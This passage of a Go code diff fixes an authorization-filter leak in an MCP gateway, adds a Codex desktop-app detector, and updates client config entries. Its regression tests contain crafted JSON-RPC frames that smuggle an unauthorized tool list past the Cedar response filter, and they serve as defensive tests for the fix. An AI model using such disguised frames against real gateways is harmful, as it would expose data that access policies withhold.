of a batch array. A +// frame that is not a clean Response (a request/notification smuggling a +// result, a shape DecodeMessage rejects, or a batch array) but still carries a +// result must not pass through: it would leak the list the filter exists to +// scrub. See issue #5257. +func carriesResult(data []byte) bool { + trimmed := bytes.TrimSpace(data) + if len(trimmed) == 0 { + return false + } + switch trimmed[0] { + case '{': + var probe struct { + Result json.RawMessage `json:"result"` + } + return json.Unmarshal(trimmed, &probe) == nil && probe.Result != nil + case '[': + var batch []struct { + Result json.RawMessage `json:"result"` + } + if json.Unmarshal(trimmed, &batch) != nil { + return false + } + for i := range batch { + if batch[i].Result != nil { + return true + } + } + } + return false +} + // filterListResponse filters the list response based on authorization policies func (rfw *ResponseFilteringWriter) filterListResponse(response *jsonrpc2.Response) (*jsonrpc2.Response, error) { if response.Error != nil { diff --git a/pkg/authz/response_filter_test.go b/pkg/authz/response_filter_test.go index 2d29df9a71..13425a7d7c 100644 --- a/pkg/authz/response_filter_test.go +++ b/pkg/authz/response_filter_test.go @@ -946,3 +946,313 @@ func TestOptimizerPassThroughToolsInResponseFilter(t *testing.T) { "admin_tool has no permit policy and is not a pass-through tool") }) } + +// TestResponseFilteringWriter_SSE_PerLineFallthrough is a regression test for +// issue #5257: when an SSE upstream interleaves a non-Response data line (e.g. +// an MCP notification) or an undecodable data line with a real list response, +// the filter previously wrote the entire raw upstream payload and returned, +// leaking the unfiltered list past Cedar. It must instead pass only the +// offending line through and continue filtering the rest of the stream. +// +// The same code path runs for every method covered by +// requiresResponseFiltering, so each of tools/list, prompts/list, and +// resources/list is exercised below. +func TestResponseFilteringWriter_SSE_PerLineFallthrough(t *testing.T) { + t.Parallel() + + authorizer, err := cedar.NewCedarAuthorizer(cedar.ConfigOptions{ + Policies: []string{ + `permit(principal, action == Action::"call_tool", resource == Tool::"weather");`, + `permit(principal, action == Action::"get_prompt", resource == Prompt::"greeting");`, + `permit(principal, action == Action::"read_resource", resource == Resource::"data");`, + }, + EntitiesJSON: `[]`, + }, "") + require.NoError(t, err) + + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{ + Subject: "user1", + Claims: map[string]interface{}{"sub": "user1"}, + }} + + // encodeListResponse marshals a list result type into a JSON-RPC Response + // data line. + encodeListResponse := func(t *testing.T, result interface{}) string { + t.Helper() + resultJSON, err := json.Marshal(result) + require.NoError(t, err) + encoded, err := jsonrpc2.EncodeMessage(&jsonrpc2.Response{ + ID: jsonrpc2.Int64ID(1), + Result: json.RawMessage(resultJSON), + }) + require.NoError(t, err) + return "data: " + string(encoded) + } + + // methodCase describes how to build a filterable response for one MCP + // list method and how to read the filtered names out of the wire output. + type methodCase struct { + name string + method string + respLine string + authorizedName string + unauthorizedName string + extractNames func(t *testing.T, result json.RawMessage) []string + } + + methodCases := []methodCase{ + { + name: "tools/list", + method: string(mcp.MethodToolsList), + respLine: encodeListResponse(t, mcp.ListToolsResult{ + Tools: []mcp.Tool{ + {Name: "weather", Description: "Get weather information"}, + {Name: "admin_tool", Description: "Sensitive admin operations"}, + }, + }), + authorizedName: "weather", + unauthorizedName: "admin_tool", + extractNames: func(t *testing.T, result json.RawMessage) []string { + t.Helper() + var r mcp.ListToolsResult + require.NoError(t, json.Unmarshal(result, &r)) + names := make([]string, len(r.Tools)) + for i, tool := range r.Tools { + names[i] = tool.Name + } + return names + }, + }, + { + name: "prompts/list", + method: string(mcp.MethodPromptsList), + respLine: encodeListResponse(t, mcp.ListPromptsResult{ + Prompts: []mcp.Prompt{ + {Name: "greeting", Description: "Generate greetings"}, + {Name: "admin_prompt", Description: "Sensitive admin prompt"}, + }, + }), + authorizedName: "greeting", + unauthorizedName: "admin_prompt", + extractNames: func(t *testing.T, result json.RawMessage) []string { + t.Helper() + var r mcp.ListPromptsResult + require.NoError(t, json.Unmarshal(result, &r)) + names := make([]string, len(r.Prompts)) + for i, p := range r.Prompts { + names[i] = p.Name + } + return names + }, + }, + { + name: "resources/list", + method: string(mcp.MethodResourcesList), + respLine: encodeListResponse(t, mcp.ListResourcesResult{ + Resources: []mcp.Resource{ + {URI: "data", Name: "Data Resource"}, + {URI: "secret", Name: "Sensitive Resource"}, + }, + }), + authorizedName: "data", + unauthorizedName: "secret", + extractNames: func(t *testing.T, result json.RawMessage) []string { + t.Helper() + var r mcp.ListResourcesResult + require.NoError(t, json.Unmarshal(result, &r)) + names := make([]string, len(r.Resources)) + for i, res := range r.Resources { + names[i] = res.URI + } + return names + }, + }, + } + + precedingLineCases := []struct { + name string + line string + }{ + { + name: "non-response data line", + // A notifications/* frame is a valid JSON-RPC notification + // (no id), so jsonrpc2.DecodeMessage returns a non-Response + // message. The buggy path treated this as a signal to dump + // rawResponse and return. + line: `data: {"jsonrpc":"2.0","method":"notifications/message","params":{"level":"info","data":"warming up"}}`, + }, + { + name: "undecodable data line", + line: `data: this is not json at all`, + }, + } + + for _, mc := range methodCases { + for _, plc := range precedingLineCases { + mc, plc := mc, plc + t.Run(mc.name+"/"+plc.name, func(t *testing.T) { + t.Parallel() + + req, err := http.NewRequest(http.MethodPost, "/messages", nil) + require.NoError(t, err) + req = req.WithContext(auth.WithIdentity(req.Context(), identity)) + + rr := httptest.NewRecorder() + rfw := NewResponseFilteringWriter(rr, authorizer, req, mc.method, nil, nil) + rfw.ResponseWriter.Header().Set("Content-Type", "text/event-stream") + + body := strings.Join([]string{plc.line, mc.respLine, ""}, "\n") + _, err = rfw.Write([]byte(body)) + require.NoError(t, err) + + require.NoError(t, rfw.FlushAndFilter()) + + out := rr.Body.String() + + // The preceding line must still appear verbatim; pass-through + // is the whole point of the fix. + assert.Contains(t, out, plc.line, + "non-response/undecodable preceding line must pass through unchanged") + + // The real list response must have been filtered. Pull the + // last JSON-RPC Response data line out and decode it. + var filteredLine string + for _, line := range strings.Split(out, "\n") { + if strings.HasPrefix(line, "data: {\"jsonrpc\"") && strings.Contains(line, `"result"`) { + filteredLine = line + } + } + require.NotEmpty(t, filteredLine, "no JSON-RPC Response data line found in output") + + payload := strings.TrimPrefix(filteredLine, "data: ") + msg, err := jsonrpc2.DecodeMessage([]byte(payload)) + require.NoError(t, err) + resp, ok := msg.(*jsonrpc2.Response) + require.True(t, ok) + + names := mc.extractNames(t, resp.Result) + assert.Contains(t, names, mc.authorizedName, "authorized entry must be retained") + assert.NotContains(t, names, mc.unauthorizedName, + "unauthorized entry must be filtered; presence indicates the cedar bypass from #5257 is back") + + // And the raw unfiltered payload (the bug used to dump it) + // must not appear in the wire output. + assert.NotContains(t, out, `"`+mc.unauthorizedName+`"`, + "unfiltered list payload leaked into SSE output") + }) + } + } +} + +// TestResponseFilteringWriter_SSE_DisguisedResponseFrame is a regression test +// for a residual of issue #5257: a frame that carries both a method field (so +// jsonrpc2.DecodeMessage classifies it as a request/notification rather than a +// Response) and a result field smuggling a real list. Such a frame must be +// dropped, not passed through, or the unfiltered list leaks past Cedar. +func TestResponseFilteringWriter_SSE_DisguisedResponseFrame(t *testing.T) { + t.Parallel() + + authorizer, err := cedar.NewCedarAuthorizer(cedar.ConfigOptions{ + Policies: []string{ + `permit(principal, action == Action::"call_tool", resource == Tool::"weather");`, + }, + EntitiesJSON: `[]`, + }, "") + require.NoError(t, err) + + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{ + Subject: "user1", + Claims: map[string]interface{}{"sub": "user1"}, + }} + + // A genuine, filterable tools/list response on a later line. + realResultJSON, err := json.Marshal(mcp.ListToolsResult{ + Tools: []mcp.Tool{{Name: "weather", Description: "Get weather information"}}, + }) + require.NoError(t, err) + realResp, err := jsonrpc2.EncodeMessage(&jsonrpc2.Response{ + ID: jsonrpc2.Int64ID(2), + Result: json.RawMessage(realResultJSON), + }) + require.NoError(t, err) + + // Each frame smuggles a tools/list result outside a clean Response, via a + // different upstream-controlled shape. DecodeMessage either classifies them + // as non-Response or rejects them outright, so the pre-fix code passed them + // through unfiltered. All must be dropped, not leaked. + frames := []struct { + name string + payload string + }{ + {"method+result non-response", `data: {"jsonrpc":"2.0","method":"notifications/initialized","id":1,"result":{"tools":[{"name":"admin_tool"}]}}`}, + {"missing jsonrpc tag", `data: {"id":1,"result":{"tools":[{"name":"admin_tool"}]}}`}, + {"no id", `data: {"jsonrpc":"2.0","result":{"tools":[{"name":"admin_tool"}]}}`}, + {"non-scalar id", `data: {"jsonrpc":"2.0","id":{"x":1},"result":{"tools":[{"name":"admin_tool"}]}}`}, + {"batch array", `data: [{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"admin_tool"}]}}]`}, + } + + for _, f := range frames { + f := f + t.Run(f.name, func(t *testing.T) { + t.Parallel() + + req, err := http.NewRequest(http.MethodPost, "/messages", nil) + require.NoError(t, err) + req = req.WithContext(auth.WithIdentity(req.Context(), identity)) + + rr := httptest.NewRecorder() + rfw := NewResponseFilteringWriter(rr, authorizer, req, string(mcp.MethodToolsList), nil, nil) + rfw.ResponseWriter.Header().Set("Content-Type", "text/event-stream") + + body := strings.Join([]string{f.payload, "data: " + string(realResp), ""}, "\n") + _, err = rfw.Write([]byte(body)) + require.NoError(t, err) + require.NoError(t, rfw.FlushAndFilter()) + + out := rr.Body.String() + assert.NotContains(t, out, "admin_tool", + "smuggled result leaked past the filter") + assert.Contains(t, out, "weather", + "genuine list response on a later line must still be delivered") + }) + } +} + +// TestResponseFilteringWriter_JSON_DisguisedResponseFrame is the application/json +// counterpart: the disguised-result bypass is transport-independent, so the JSON +// path must also fail closed on a smuggled result rather than write it through. +func TestResponseFilteringWriter_JSON_DisguisedResponseFrame(t *testing.T) { + t.Parallel() + + authorizer, err := cedar.NewCedarAuthorizer(cedar.ConfigOptions{ + Policies: []string{ + `permit(principal, action == Action::"call_tool", resource == Tool::"weather");`, + }, + EntitiesJSON: `[]`, + }, "") + require.NoError(t, err) + + identity := &auth.Identity{PrincipalInfo: auth.PrincipalInfo{ + Subject: "user1", + Claims: map[string]interface{}{"sub": "user1"}, + }} + + // A batch array smuggling a tools/list result. DecodeMessage rejects the + // array, so the pre-fix JSON path wrote it through raw. + smuggled := `[{"jsonrpc":"2.0","id":1,"result":{"tools":[{"name":"admin_tool"}]}}]` + + req, err := http.NewRequest(http.MethodPost, "/messages", nil) + require.NoError(t, err) + req = req.WithContext(auth.WithIdentity(req.Context(), identity)) + + rr := httptest.NewRecorder() + rfw := NewResponseFilteringWriter(rr, authorizer, req, string(mcp.MethodToolsList), nil, nil) + rfw.ResponseWriter.Header().Set("Content-Type", "application/json") + + _, err = rfw.Write([]byte(smuggled)) + require.NoError(t, err) + require.NoError(t, rfw.FlushAndFilter()) + + assert.NotContains(t, rr.Body.String(), "admin_tool", + "smuggled result on the application/json transport leaked past the filter") +} diff --git a/pkg/client/codex_desktop.go b/pkg/client/codex_desktop.go new file mode 100644 index 0000000000..085c6dd15a --- /dev/null +++ b/pkg/client/codex_desktop.go @@ -0,0 +1,92 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "bytes" + "fmt" + "log/slog" + "os" + "os/exec" + "path/filepath" +) + +const ( + codexBundleIdentifier = "com.openai.codex" + codexWindowsPackageFamily = "OpenAI.Codex_2p2nqsd0c76g0" + codexWindowsPackageName = "OpenAI.Codex" + codexWindowsInstalledMark = "installed" + // plutilPath is the absolute path to plutil on macOS. Using the absolute + // path avoids PATH-resolution failures in stripped-environment contexts + // (launchd jobs, sandboxes, CI) where /usr/bin is not on $PATH. + plutilPath = "/usr/bin/plutil" +) + +type codexDesktopDetector struct { + homeDir string + goos string + stat func(string) (os.FileInfo, error) + command func(string, ...string) ([]byte, error) +} + +func newCodexDesktopDetector(homeDir, goos string) codexDesktopDetector { + return codexDesktopDetector{ + homeDir: homeDir, + goos: goos, + stat: os.Stat, + command: func(name string, args ...string) ([]byte, error) { + // #nosec G204 -- the command name is a fixed compile-time literal + // ("plutil" or "powershell.exe"); args include derived file paths + // from os.UserHomeDir, not user input. + return exec.Command(name, args...).Output() + }, + } +} + +func (d codexDesktopDetector) installed() (bool, error) { + switch d.goos { + case "darwin": + return d.installedOnDarwin() + case "windows": + return d.installedOnWindows() + default: + return false, nil + } +} + +func (d codexDesktopDetector) installedOnDarwin() (bool, error) { + applicationDirs := []string{"/Applications", filepath.Join(d.homeDir, "Applications")} + for _, dir := range applicationDirs { + for _, appName := range []string{"Codex.app", "ChatGPT.app"} { + infoPlist := filepath.Join(dir, appName, "Contents", "Info.plist") + if _, err := d.stat(infoPlist); err != nil { + continue + } + output, err := d.command(plutilPath, "-extract", "CFBundleIdentifier", "raw", "-o", "-", infoPlist) + if err != nil { + // Log the plutil failure so it's distinguishable from "app absent." + // A failure here means the plist exists but its bundle identifier + // could not be extracted (e.g. plist corruption or plutil error). + slog.Warn("failed to extract CFBundleIdentifier from Codex app plist", + "app", appName, "plist", infoPlist, "error", err) + continue + } + if string(bytes.TrimSpace(output)) == codexBundleIdentifier { + return true, nil + } + } + } + return false, nil +} + +func (d codexDesktopDetector) installedOnWindows() (bool, error) { + const query = "$p = Get-AppxPackage -Name '" + codexWindowsPackageName + "' -ErrorAction SilentlyContinue | " + + "Where-Object { $_.PackageFamilyName -eq '" + codexWindowsPackageFamily + "' -and $_.SignatureKind -eq 'Store' } | " + + "Select-Object -First 1; if ($p) { Write-Output '" + codexWindowsInstalledMark + "' }" + output, err := d.command("powershell.exe", "-NoProfile", "-NonInteractive", "-Command", query) + if err != nil { + return false, fmt.Errorf("querying Codex Microsoft Store package: %w", err) + } + return string(bytes.TrimSpace(output)) == codexWindowsInstalledMark, nil +} diff --git a/pkg/client/codex_desktop_test.go b/pkg/client/codex_desktop_test.go new file mode 100644 index 0000000000..b0e49ff3f9 --- /dev/null +++ b/pkg/client/codex_desktop_test.go @@ -0,0 +1,139 @@ +// SPDX-FileCopyrightText: Copyright 2026 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package client + +import ( + "errors" + "os" + "path/filepath" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" +) + +func TestCodexDesktopDetectorDarwin(t *testing.T) { + t.Parallel() + + home := filepath.Join(string(filepath.Separator), "Users", "test") + candidates := []string{ + filepath.Join("/Applications", "Codex.app", "Contents", "Info.plist"), + filepath.Join("/Applications", "ChatGPT.app", "Contents", "Info.plist"), + filepath.Join(home, "Applications", "Codex.app", "Contents", "Info.plist"), + filepath.Join(home, "Applications", "ChatGPT.app", "Contents", "Info.plist"), + } + + t.Run("checks all exact candidates without invoking plutil when absent", func(t *testing.T) { + t.Parallel() + var checked []string + commandCalled := false + detector := codexDesktopDetector{ + homeDir: home, + goos: "darwin", + stat: func(path string) (os.FileInfo, error) { + checked = append(checked, path) + return nil, os.ErrNotExist + }, + command: func(_ string, _ ...string) ([]byte, error) { + commandCalled = true + return nil, nil + }, + } + + installed, err := detector.installed() + require.NoError(t, err) + assert.False(t, installed) + assert.Equal(t, candidates, checked) + assert.False(t, commandCalled) + }) + + tests := []struct { + name string + bundleID string + commandErr error + want bool + }{ + {name: "accepts exact Codex bundle identifier", bundleID: codexBundleIdentifier, want: true}, + {name: "rejects ChatGPT bundle identifier", bundleID: "com.openai.chat"}, + {name: "plutil failure is not detected", commandErr: errors.New("plutil failed")}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + plist := candidates[0] + detector := codexDesktopDetector{ + homeDir: home, + goos: "darwin", + stat: func(path string) (os.FileInfo, error) { + if path == plist { + return nil, nil + } + return nil, os.ErrNotExist + }, + command: func(name string, args ...string) ([]byte, error) { + assert.Equal(t, plutilPath, name) + assert.Equal(t, []string{"-extract", "CFBundleIdentifier", "raw", "-o", "-", plist}, args) + return []byte(tt.bundleID + "\n"), tt.commandErr + }, + } + + installed, err := detector.installed() + require.NoError(t, err) + assert.Equal(t, tt.want, installed) + }) + } +} + +func TestCodexDesktopDetectorWindows(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + output string + commandErr error + want bool + wantErr bool + }{ + {name: "accepts installed marker after filtering multiple objects", output: codexWindowsInstalledMark + "\r\n", want: true}, + {name: "rejects marker mixed with output from another object", output: "noise\r\n" + codexWindowsInstalledMark + "\r\n"}, + {name: "rejects no matching package", output: ""}, + {name: "query failure", commandErr: errors.New("query failed"), wantErr: true}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + detector := codexDesktopDetector{ + goos: "windows", + command: func(name string, args ...string) ([]byte, error) { + assert.Equal(t, "powershell.exe", name) + require.Len(t, args, 4) + assert.Equal(t, []string{"-NoProfile", "-NonInteractive", "-Command"}, args[:3]) + assert.Contains(t, args[3], "Get-AppxPackage -Name 'OpenAI.Codex'") + assert.Contains(t, args[3], "Where-Object") + assert.Contains(t, args[3], "$_.PackageFamilyName -eq 'OpenAI.Codex_2p2nqsd0c76g0'") + assert.Contains(t, args[3], "$_.SignatureKind -eq 'Store'") + assert.Contains(t, args[3], "Select-Object -First 1") + assert.Contains(t, args[3], "Write-Output 'installed'") + return []byte(tt.output), tt.commandErr + }, + } + + installed, err := detector.installed() + if tt.wantErr { + require.Error(t, err) + } else { + require.NoError(t, err) + } + assert.Equal(t, tt.want, installed) + }) + } +} + +func TestCodexDesktopDetectorUnsupportedPlatform(t *testing.T) { + t.Parallel() + + installed, err := (codexDesktopDetector{goos: "linux"}).installed() + require.NoError(t, err) + assert.False(t, installed) +} diff --git a/pkg/client/config.go b/pkg/client/config.go index b68b34fff4..613f8405ad 100644 --- a/pkg/client/config.go +++ b/pkg/client/config.go @@ -20,6 +20,7 @@ import ( "github.com/tailscale/hujson" "gopkg.in/yaml.v3" + "github.com/stacklok/toolhive/pkg/llmgateway" "github.com/stacklok/toolhive/pkg/transport/types" ) @@ -62,14 +63,6 @@ const ( WindsurfJetBrains ClientApp = "windsurf-jetbrains" // AmpCli represents the Sourcegraph Amp CLI. AmpCli ClientApp = "amp-cli" - // AmpVSCode represents the Sourcegraph Amp extension for VS Code. - AmpVSCode ClientApp = "amp-vscode" - // AmpCursor represents the Sourcegraph Amp extension for Cursor. - AmpCursor ClientApp = "amp-cursor" - // AmpVSCodeInsider represents the Sourcegraph Amp extension for VS Code Insiders. - AmpVSCodeInsider ClientApp = "amp-vscode-insider" - // AmpWindsurf represents the Sourcegraph Amp extension for Windsurf. - AmpWindsurf ClientApp = "amp-windsurf" // LMStudio represents the LM Studio application. LMStudio ClientApp = "lm-studio" // Goose represents the Goose AI agent. @@ -92,7 +85,7 @@ const ( VSCodeServer ClientApp = "vscode-server" // MistralVibe represents the Mistral Vibe IDE. MistralVibe ClientApp = "mistral-vibe" - // Codex represents the OpenAI Codex CLI. + // Codex represents the OpenAI Codex CLI and desktop app. Codex ClientApp = "codex" // KimiCli represents the Kimi Code CLI. KimiCli ClientApp = "kimi-cli" @@ -108,6 +101,12 @@ const ( // It is declared as LLMClientApp (not ClientApp) so that code generators // such as swag do not include "xcode" in the MCP API ClientApp enum. Xcode LLMClientApp = "xcode" + + // ClaudeDesktop represents the Claude Desktop app configured for LLM gateway + // routing via its "third-party inference" surface. Only LLM-gateway support is + // wired here (not MCP), so it is declared as LLMClientApp — same rationale as + // Xcode above. + ClaudeDesktop LLMClientApp = "claude-desktop" ) // Extension is extension of the client config file. @@ -166,8 +165,10 @@ const ( // - ValueField names which ApplyConfig field to write. Valid values: // "GatewayURL", "AnthropicBaseURL", "ProxyBaseURL", "ProxyOrigin", // "TokenHelperCommand", "PlaceholderAPIKey", "ClaudeCodeHelperTTLMillis", -// "NodeTLSRejectUnauthorized". An unrecognised ValueField is a programming -// error and causes ConfigureLLMGateway to return an error. +// "NodeTLSRejectUnauthorized", "BedrockDisableExperimentalBetas", +// "BedrockHaikuModel", "BedrockOpusModel", "BedrockSonnetModel". An +// unrecognised ValueField is a programming error and causes +// ConfigureLLMGateway to return an error. // - Literal is written verbatim into the settings key (e.g. a fixed auth // type string). Use Literal instead of ValueField for constant values so // that typos in ValueField are caught as errors rather than silently @@ -181,7 +182,8 @@ type LLMGatewayKeySpec struct { JSONPointer string // RFC 6901 path // ValueField: "GatewayURL" | "AnthropicBaseURL" | "ProxyBaseURL" | "ProxyOrigin" | // "TokenHelperCommand" | "PlaceholderAPIKey" | "ClaudeCodeHelperTTLMillis" | - // "NodeTLSRejectUnauthorized" + // "NodeTLSRejectUnauthorized" | "BedrockDisableExperimentalBetas" | + // "BedrockHaikuModel" | "BedrockOpusModel" | "BedrockSonnetModel" ValueField string Literal string // constant value written verbatim; mutually exclusive with ValueField ClearWhenEmpty bool // remove the key when the resolved value is empty (ignored for Literal) @@ -237,9 +239,17 @@ type clientAppConfig struct { // (e.g., XDG ~/.config/ on Linux/macOS). // If nil or missing an entry for the current OS, no prefix is added. SkillsPlatformPrefix map[Platform][]string + // Plugin-specific configuration + SupportsPlugins bool // Whether this client supports plugins + PluginsGlobalPath []string // Path segments for global plugins dir (from home dir) + PluginsProjectPath []string // Path segments for project-local plugins dir (from project root) + // PluginsPlatformPrefix maps Platform values to path segments inserted between + // home dir and PluginsGlobalPath. Same semantics as SkillsPlatformPrefix. + // If nil or missing an entry for the current OS, no prefix is added. + PluginsPlatformPrefix map[Platform][]string // LLM gateway configuration ───────────────────────────────────────────── - // LLMGatewayMode is "direct" (token-helper) or "proxy" (static key via - // localhost reverse proxy), or "" when the tool has no LLM gateway support. + // LLMGatewayMode identifies the gateway integration strategy (direct token + // helper, proxy, credential helper, or Codex auth), or "" when unsupported. LLMGatewayMode string // LLMBinaryName is the executable name looked up via exec.LookPath to // confirm the tool is actually installed (not just a leftover config @@ -270,6 +280,27 @@ type clientAppConfig struct { // LLMEnvFileKeys lists the key=value entries to write to the .env file when // setting up (or reverting) LLM gateway access. LLMEnvFileKeys []LLMEnvFileKeySpec + // LLMDetectRelPath and LLMDetectPlatformPrefix locate a directory whose + // existence indicates the tool is installed. Used for GUI apps that are not + // on $PATH (LLMBinaryName is empty) and whose LLM settings directory does not + // exist until first configured — so the settings dir cannot be the detection + // signal. When set, DetectedLLMGatewayClients checks this directory instead of + // the settings directory. Resolved with the same semantics as + // LLMSettingsRelPath / LLMSettingsPlatformPrefix. + LLMDetectRelPath []string + LLMDetectPlatformPrefix map[Platform][]string + // LLMInstalledDetector is an optional per-client detection hook that runs + // in addition to the shared settings-dir + binary-on-PATH check. Used by + // clients that have installation evidence beyond the CLI (e.g. Codex's + // desktop app). When set, the client is considered installed if either + // the shared check or this hook returns true. The hook must be set at + // construction time (NewClientManager), not in static config. + LLMInstalledDetector func() (bool, error) + // LLMManagedProfileDomain is the macOS managed-preferences plist domain + // (e.g. "com.anthropic.claudefordesktop.plist") that, when present, overrides + // the client's local config. Setup warns when detected. Empty when the client + // has no managed-profile surface. + LLMManagedProfileDomain string } // extractServersKeyFromConfig extracts the servers key from MCPServersPathPrefix @@ -393,7 +424,7 @@ var supportedClientIntegrations = []clientAppConfig{ SkillsGlobalPath: []string{".copilot", skillsDirName}, SkillsProjectPath: []string{".github", skillsDirName}, // LLM gateway: patches settings.json (same dir as mcp.json, different file) - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, LLMBinaryName: "code-insiders", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{"Code - Insiders", "User"}, @@ -436,7 +467,7 @@ var supportedClientIntegrations = []clientAppConfig{ SkillsGlobalPath: []string{".copilot", skillsDirName}, SkillsProjectPath: []string{".github", skillsDirName}, // LLM gateway: patches settings.json (same dir as mcp.json, different file) - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, LLMBinaryName: "code", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{"Code", "User"}, @@ -474,7 +505,7 @@ var supportedClientIntegrations = []clientAppConfig{ SkillsGlobalPath: []string{".cursor", skillsDirName}, SkillsProjectPath: []string{".cursor", skillsDirName}, // LLM gateway: patches the editor settings.json (different from the MCP mcp.json) - LLMGatewayMode: "proxy", + LLMGatewayMode: llmgateway.ModeProxy, LLMBinaryName: "cursor", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{"Cursor", "User"}, @@ -506,11 +537,14 @@ var supportedClientIntegrations = []clientAppConfig{ types.TransportTypeSSE: defaultURLFieldName, types.TransportTypeStreamableHTTP: defaultURLFieldName, }, - SupportsSkills: true, - SkillsGlobalPath: []string{".claude", skillsDirName}, - SkillsProjectPath: []string{".claude", skillsDirName}, + SupportsSkills: true, + SkillsGlobalPath: []string{".claude", skillsDirName}, + SkillsProjectPath: []string{".claude", skillsDirName}, + SupportsPlugins: true, + PluginsGlobalPath: []string{".claude", "plugins"}, + PluginsProjectPath: []string{".claude", "plugins"}, // LLM gateway: patches ~/.claude/settings.json (different from the MCP .claude.json) - LLMGatewayMode: "direct", + LLMGatewayMode: llmgateway.ModeDirect, LLMBinaryName: "claude", LLMSettingsFile: "settings.json", LLMSettingsRelPath: []string{".claude"}, @@ -524,6 +558,18 @@ var supportedClientIntegrations = []clientAppConfig{ // NODE_TLS_REJECT_UNAUTHORIZED is only written when --tls-skip-verify is set. // ClearWhenEmpty ensures it is removed when the flag is later cleared. {JSONPointer: "/env/NODE_TLS_REJECT_UNAUTHORIZED", ValueField: "NodeTLSRejectUnauthorized", ClearWhenEmpty: true}, + // Bedrock-compat keys (written only with --bedrock-compat). Bedrock rejects + // Claude Code's experimental anthropic-beta headers, so betas are disabled; + // the per-tier model IDs pin Bedrock inference-profile IDs. All use + // ClearWhenEmpty so a non-Bedrock setup removes any stale keys. + { + JSONPointer: "/env/CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", + ValueField: "BedrockDisableExperimentalBetas", + ClearWhenEmpty: true, + }, + {JSONPointer: "/env/ANTHROPIC_DEFAULT_HAIKU_MODEL", ValueField: "BedrockHaikuModel", ClearWhenEmpty: true}, + {JSONPointer: "/env/ANTHROPIC_DEFAULT_OPUS_MODEL", ValueField: "BedrockOpusModel", ClearWhenEmpty: true}, + {JSONPointer: "/env/ANTHROPIC_DEFAULT_SONNET_MODEL", ValueField: "BedrockSonnetModel", ClearWhenEmpty: true}, }, }, { @@ -594,102 +640,6 @@ var supportedClientIntegrations = []clientAppConfig{ SkillsGlobalPath: []string{".agents", skillsDirName}, SkillsProjectPath: []string{".agents", skillsDirName}, }, - { - ClientType: AmpVSCode, - Description: "VS Code Sourcegraph Amp extension", - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - RelPath: []string{"Code", "User"}, - PlatformPrefix: map[Platform][]string{ - PlatformLinux: {".config"}, - PlatformDarwin: {"Library", "Application Support"}, - PlatformWindows: {"AppData", "Roaming"}, - }, - Extension: JSON, - SupportedTransportTypesMap: map[types.TransportType]string{ - types.TransportTypeStdio: httpTransportLabel, - types.TransportTypeSSE: "sse", - types.TransportTypeStreamableHTTP: httpTransportLabel, - }, - IsTransportTypeFieldSupported: true, - MCPServersUrlLabelMap: map[types.TransportType]string{ - types.TransportTypeStdio: defaultURLFieldName, - types.TransportTypeSSE: defaultURLFieldName, - types.TransportTypeStreamableHTTP: defaultURLFieldName, - }, - }, - { - ClientType: AmpVSCodeInsider, - Description: "VS Code Insiders Sourcegraph Amp extension", - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - RelPath: []string{"Code - Insiders", "User"}, - PlatformPrefix: map[Platform][]string{ - PlatformLinux: {".config"}, - PlatformDarwin: {"Library", "Application Support"}, - PlatformWindows: {"AppData", "Roaming"}, - }, - Extension: JSON, - SupportedTransportTypesMap: map[types.TransportType]string{ - types.TransportTypeStdio: httpTransportLabel, - types.TransportTypeSSE: "sse", - types.TransportTypeStreamableHTTP: httpTransportLabel, - }, - IsTransportTypeFieldSupported: true, - MCPServersUrlLabelMap: map[types.TransportType]string{ - types.TransportTypeStdio: defaultURLFieldName, - types.TransportTypeSSE: defaultURLFieldName, - types.TransportTypeStreamableHTTP: defaultURLFieldName, - }, - }, - { - ClientType: AmpCursor, - Description: "Cursor Sourcegraph Amp extension", - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - RelPath: []string{"Cursor", "User"}, - PlatformPrefix: map[Platform][]string{ - PlatformLinux: {".config"}, - PlatformDarwin: {"Library", "Application Support"}, - PlatformWindows: {"AppData", "Roaming"}, - }, - Extension: JSON, - SupportedTransportTypesMap: map[types.TransportType]string{ - types.TransportTypeStdio: httpTransportLabel, - types.TransportTypeSSE: "sse", - types.TransportTypeStreamableHTTP: httpTransportLabel, - }, - IsTransportTypeFieldSupported: true, - MCPServersUrlLabelMap: map[types.TransportType]string{ - types.TransportTypeStdio: defaultURLFieldName, - types.TransportTypeSSE: defaultURLFieldName, - types.TransportTypeStreamableHTTP: defaultURLFieldName, - }, - }, - { - ClientType: AmpWindsurf, - Description: "Windsurf Sourcegraph Amp extension", - SettingsFile: "settings.json", - MCPServersPathPrefix: "/amp.mcpServers", - RelPath: []string{"Windsurf", "User"}, - PlatformPrefix: map[Platform][]string{ - PlatformLinux: {".config"}, - PlatformDarwin: {"Library", "Application Support"}, - PlatformWindows: {"AppData", "Roaming"}, - }, - Extension: JSON, - SupportedTransportTypesMap: map[types.TransportType]string{ - types.TransportTypeStdio: httpTransportLabel, - types.TransportTypeSSE: "sse", - types.TransportTypeStreamableHTTP: httpTransportLabel, - }, - IsTransportTypeFieldSupported: true, - MCPServersUrlLabelMap: map[types.TransportType]string{ - types.TransportTypeStdio: defaultURLFieldName, - types.TransportTypeSSE: defaultURLFieldName, - types.TransportTypeStreamableHTTP: defaultURLFieldName, - }, - }, { ClientType: LMStudio, Description: "LM Studio application", @@ -906,7 +856,7 @@ var supportedClientIntegrations = []clientAppConfig{ // TLS handshake on that leg. Setting the env var would globally disable // TLS verification for all other HTTPS requests the Gemini CLI 